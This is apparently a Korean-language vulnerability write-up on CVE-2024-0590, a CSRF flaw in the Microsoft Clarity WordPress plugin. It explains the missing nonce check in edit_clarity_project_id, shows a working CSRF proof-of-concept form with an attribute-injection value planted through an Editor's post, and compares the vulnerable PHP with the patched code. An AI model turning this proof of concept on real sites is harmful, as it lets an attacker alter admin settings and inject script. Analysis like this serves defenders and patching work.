Post

[CVE-2024-0590] 취약점 분석 보고서

Microsoft Clarity에서 발생하는 CSRF 취약점

1. 취약점 개요

WordPress 용 Microsoft Clarity 플러그인은 무료 웹 플러그인으로, 세션 녹화와 히트맵을 통해 사용자 행동을 분석하고, Copilot을 활용해 데이터를 요약·해석할 수 있다. 메트릭 대시보드를 제공하며, 개인정보 보호 기능이 내장되어 있고, 대규모 트래픽을 처리하면서도 사이트 성능에 영향을 주지 않는다. 간단한 설정만으로 사이트 모니터링이 가능하다.

CVE-2024-0590 취약점은 edit_clarity_project_id 함수에서 nonce 검증이 누락되었기 때문에 공격자는 프로젝트 ID를 변경하고 위조된 요청을 통해 악성 JavaScript를 추가할 수 있으며, 사이트 관리자를 속여 링크를 클릭하는 등의 작업을 수행하도록 할 수 있다.

2. 영향을 받는 버전

  • Microsoft Clarity ≤ 0.9.3

3. 취약점 테스트

  1. WordPress에서는 Editor 이하의 사용자 역할은 보안상의 이유로 script 태그 사용이 제한된다. 이러한 제한은 Wordpress의 unfilterd_html 기능과 관련이 있다. unfiltered_html 권한은 Administrator와 Editor 역할에만 부여되며, Author, Contributor, Subscriber 등 그 이하의 역할에는 부여되지 않는다.

    Roles and Capabilities

    image.png

    따라서, 최소 권한인 Editor로 글을 작성한다. 페이로드는 아래와 같다.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    
     <!DOCTYPE html>
     <html>
        <body>
     <script>
      function exploit(){
     	 csrf_form.setAttribute('action', "http://localhost:8000"+csrf_form.getAttribute('action'));
     	 setTimeout(()=>{
     		 window.location="http://localhost:8000/wp-admin/admin.php?page=microsoft-clarity"
     	 },2000)
      }
     	</script>
           <h1>CSRF PoC</h1>
           <form action="/wp-admin/admin-ajax.php" method="POST" name=csrf_form id=csrf_form target="_blank">
              <input type="hidden" name="action" value="edit_clarity_project_id" />
              <input type="hidden" name="new_value" value='" onload=alert(1) x="' />
              <input type="submit" onclick=exploit()  value="Submit request" />
           </form>
        </body>
     </html>
    
  2. Custom HTML 블록 안에 페이로드를 삽입한다.

    image.png

  3. Admin으로 로그인 한 후 Editor가 작성한 게시물의 버튼을 클릭하면 Clarity 프로젝트의 ID 값을 변경할 수 있다.

    image.png

4. 취약점 상세 분석

edit_clarity_project_id 함수에는 CSRF 방어를 위한 Nonce 검증이 누락되어 있다. new_value 라는 사용자 입력값을 검증 없이 바로 사용하므로, 공격자가 관리자의 세션을 이용하여 악성 요청을 보낼 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
/**
* Add callback triggered when a new message is received
* Edits the clarity project id option respectively
*/
add_action('wp_ajax_edit_clarity_project_id', "edit_clarity_project_id");
function edit_clarity_project_id() {
    $new_value = $_POST['new_value'];
    // only admins are allowed to edit the Clarity project id
    if (!current_user_can('manage_options')) {
        die(
            json_encode(
                array(
                    'success' => false,
                    'message' => 'User must be WordPress admin.'
                )
            )
        );
    } else {
        update_option(
            'clarity_project_id', /* option */
            $new_value /* value */
            /* autoload */
        );
        die(
            json_encode(
                array(
                    'success' => true,
                    'message' => 'Clarity project updated successfully.'
                    )
                )
        );
    }
}

5. 패치

CSRF에 취약했던 edit_clarity_project_id 함수에 csrf 토큰 검증 로직이 추가되었다.

https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=3036293%40microsoft-clarity&old=2942949%40microsoft-clarity&sfp_email=&sfph_mail=

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
/**
* Add callback triggered when a new message is received
* Edits the clarity project id option respectively
*/
add_action('wp_ajax_edit_clarity_project_id', "edit_clarity_project_id");
function edit_clarity_project_id() {
    $new_value = $_POST['new_value'];
    $nonce = $_POST['nonce'];
    if (!wp_verify_nonce($nonce, "wp_ajax_edit_clarity_project_id")) {
        die(
            json_encode(
                array(
                    'success' => false,
                    'message' => 'Invalid nonce.'
                )
            )
        );
    }
    // only admins are allowed to edit the Clarity project id
    if (!current_user_can('manage_options')) {
        die(
            json_encode(
                array(
                    'success' => false,
                    'message' => 'User must be WordPress admin.'
                )
            )
        );
    } else {
        update_option(
            'clarity_project_id', /* option */
            $new_value /* value */
            /* autoload */
        );
        die(
            json_encode(
                array(
                    'success' => true,
                    'message' => 'Clarity project updated successfully.'
                    )
                )
        );
    }
}
This post is licensed under CC BY 4.0 by the author.